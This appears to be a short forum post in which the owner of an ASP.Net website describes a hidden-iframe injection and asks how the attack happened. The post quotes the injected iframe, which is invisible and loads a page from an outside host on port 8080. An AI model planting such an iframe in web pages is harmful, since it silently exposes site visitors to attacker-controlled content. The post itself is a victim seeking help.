A website of mine has recently been infected with some sort of attack that involved injecting a hidden iframe, and it's source was from a site q5x.ru (do not link).
A Google search didn't help me in figuring out how this attack my have took place, so I was wondering if anyone of you may have encountered this same problem?
The iframe code was something of the sort:
<iframe src="http://q5x.ru:8080/index.php" width=109 height=175 style="visibility: hidden"></iframe>
As per request, I am running an ASP.Net website with a database, and as regards forms, it's obviously the ASP.Net form that's used for postbacks.